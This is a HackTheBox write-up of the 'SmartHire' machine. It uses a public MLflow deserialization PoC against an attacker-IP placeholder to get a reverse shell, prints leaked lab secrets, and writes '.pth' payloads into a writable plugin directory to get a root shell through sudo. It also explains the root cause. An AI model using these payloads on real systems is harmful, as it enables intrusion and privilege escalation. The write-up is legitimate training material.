

SmartHire - Medium HTB Machine

Martina Giacobbe

1 Introduction

This document describes the complete compromise of the **SmartHire** HackTheBox machine (Medium difficulty). The attack chain includes reconnaissance, web application exploitation via a known MLflow deserialization vulnerability, and privilege escalation through unsafe Python `site.addsitedir()` behavior combined with writable plugin directories.

2 Reconnaissance

2.1 Port Scanning

Initial enumeration using Nmap revealed two open ports:

- 22/tcp - SSH
- 80/tcp - HTTP

No additional externally exposed services were identified at this stage.

3 Web Application Analysis

3.1 Authentication Mechanism

The web application exposes a login interface. Default credentials (`admin:admin`) are invalid. However, user registration is available.

During testing, attempting to register the username `admin` triggers a response indicating:

username already exists

This confirms the presence of a user enumeration vector and suggests a pre-existing privileged account.

3.2 Session Management

The application uses a session cookie likely generated via Python's `itsdangerous` library (Flask ecosystem). This is supported by the installed version observed later:

```
itsdangerous==2.2.0
```

Given the nature of `itsdangerous`, session integrity relies on a server-side secret key.

3.3 MLflow Subdomain Exposure

A secondary endpoint was discovered:

```
[http://models.smarthire.htb](http://models.smarthire.htb)
```

This service exposes **MLflow v2.14.1**.

3.3.1 Security Implication

MLflow versions prior to 2.15.0 contain multiple unsafe deserialization vulnerabilities affecting model loading pipelines (pickle/cloudpickle-based). These issues can lead to Remote Code Execution (RCE) when malicious models are uploaded or executed.

Relevant CVEs include:

- CVE-2024-37057 (TensorFlow)
- CVE-2024-37058 (LangChain)
- CVE-2024-37059 (PyTorch)

Exploit reference: [\[https://github.com/ben-slates/CVE-2024-37054\]](https://github.com/ben-slates/CVE-2024-37054)(<https://github.com/ben-slates/CVE-2024-37054>)

4 Exploitation

4.1 RCE via MLflow Vulnerability

The vulnerability was exploited using the publicly available PoC.

```
python3 poc.py [http://smarthire.htb](http://smarthire.htb) [http://models.smarthire.htb](http://models.smarthire.htb) <attacker_ip> <attacker_port>
--app-username user
--app-password user
```

This resulted in successful code execution on the target system and establishment of a reverse shell.

4.2 User Access

Upon successful exploitation, a shell was obtained as a low-privileged user. The user flag was retrieved from the system.

5 Privilege Escalation

5.1 Initial Enumeration

Post-exploitation analysis revealed a database file:

```
smarthire.db
```

This file contained credential material with hashes using **scrypt**.

This indicates strong password hashing (memory-hard KDF), making offline cracking non-trivial.

5.2 Configuration Disclosure

A configuration file was found exposing sensitive application secrets:

```
class Config:
    SECRET_KEY = os.getenv("SMARTHIRE_SECRET_KEY", "
        cd3eeeff24545b40aa0a6b457faeX6cd")
    MLFLOW_TRACKING_URI = os.getenv("MLFLOW_TRACKING_URI", "[http
        ://127.0.0.1:5000](http://127.0.0.1:5000)")
    PERMANENT_SESSION_LIFETIME = 3 * 60 * 60
```

Additionally, environment variables disclosed:

```
SMARTHIRE_SECRET_KEY=b9c53f2f4459ee6ed15f7f85c0549861
MLFLOW_TRACKING_USERNAME=admin
MLFLOW_TRACKING_PASSWORD=password
USER=svcweb
HOME=/home/svcweb
```

This information confirms:

- Flask session signing key exposure
- Internal MLflow credentials
- Service account context: `svcweb`

6 Privilege Escalation Vector Identification

6.1 Sudo Permissions

The user `svcweb` can execute a Python script as root without password:

```
(root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *
```

This immediately indicates a high-risk attack surface due to Python execution under elevated privileges.

6.2 Plugin System Analysis

The script loads plugins using:

```
for path in PLUGINS_DIR.iterdir():
    if path.is_dir():
        site.addsitedir(str(path))
```

While `addsitedir()` appears to only modify `sys.path`, it also performs:

- Directory injection into module search path
- Parsing of `.pth` files
- Execution of lines beginning with `import`

So when root runs:

```
sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status
```

Python executes:

```
site.addsitedir("/opt/tools/mlflow_ctl/plugins/dev")
```

Since 'dev' is writable by the 'devs' group, I can create:

```
/opt/tools/mlflow_ctl/plugins/dev/root.pth
```

containing: `import os; os.system("/bin/bash -p")`

As soon as 'addsitedir()' processes that directory, the 'import' line in the '.pth' file is executed before the script reaches:

```
import mlflow_actions, backup_models
```

The code therefore runs with the privileges of the Python process, which is root. This is a classic privilege-escalation mistake: a root-executed Python program calls 'site.addsitedir()' on a directory that is writable by a less-privileged user. The writable '.pth' file becomes arbitrary code execution as root.

6.3 Attack Surface Condition

Directory permissions:

```
drwxrwxr-x 2 root devs ... /opt/tools/mlflow_ctl/plugins/dev
```

User membership:

```
uid=1000(svcweb) groups=..., devs
```

This implies write access to the plugin directory.

6.4 Exploitation via .pth Execution

A malicious .pth file was created:

```
echo 'import os; os.system("id >/tmp/pth_test")' \  
> /opt/tools/mlflow_ctl/plugins/dev/test.pth  
>
```

Execution:

```
sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status
```

Result:

```
uid=0(root) gid=0(root) groups=0(root)
```

This confirms arbitrary code execution as root.

6.5 Root Shell Execution

Final payload:

```
echo 'import os; os.system("/bin/bash")' \  
> /opt/tools/mlflow_ctl/plugins/dev/shell.pth  
>
```

Execution via sudo command:

```
sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status
```

Result: root shell obtained successfully.

7 Root Cause Analysis

The privilege escalation stems from a combination of design flaws:

- Unsafe use of `site.addsitedir()` in privileged context
- Writable plugin directory accessible to non-root users
- Execution of `.pth` files containing arbitrary Python code
- Lack of sandboxing or integrity validation in plugin loading

This is a classic case of **Python import-time code execution abuse in a privileged environment**.

8 Conclusion

The SmartHire machine demonstrates a full attack chain:

- Web application exploitation via MLflow deserialization RCE
- Credential and secret exposure through misconfiguration
- Local privilege escalation via Python plugin injection

The system was fully compromised, culminating in root access.